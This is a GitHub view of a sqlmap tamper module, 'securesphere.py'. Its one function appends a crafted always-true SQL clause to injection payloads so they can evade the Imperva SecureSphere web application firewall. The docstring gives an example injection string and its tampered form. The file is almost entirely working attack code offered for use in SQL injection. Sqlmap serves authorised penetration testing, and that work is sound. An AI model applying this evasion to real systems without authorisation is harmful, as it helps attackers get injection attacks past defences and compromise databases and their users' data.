sqlmap/tamper/securesphere.py at master · getcode2git/sqlmap · GitHub

Repository navigation

#!/usr/bin/env python

"""

See the file 'doc/COPYING' for copying permission

"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():

pass

def tamper(payload, **kwargs):

"""

Appends special crafted string

Notes:

* Useful for bypassing Imperva SecureSphere WAF

* Reference: http://seclists.org/fulldisclosure/2011/May/163

>>> tamper('1 AND 1=1')

"1 AND 1=1 and '0having'='0having'"

"""

return payload + " and '0having'='0having'" if payload else payload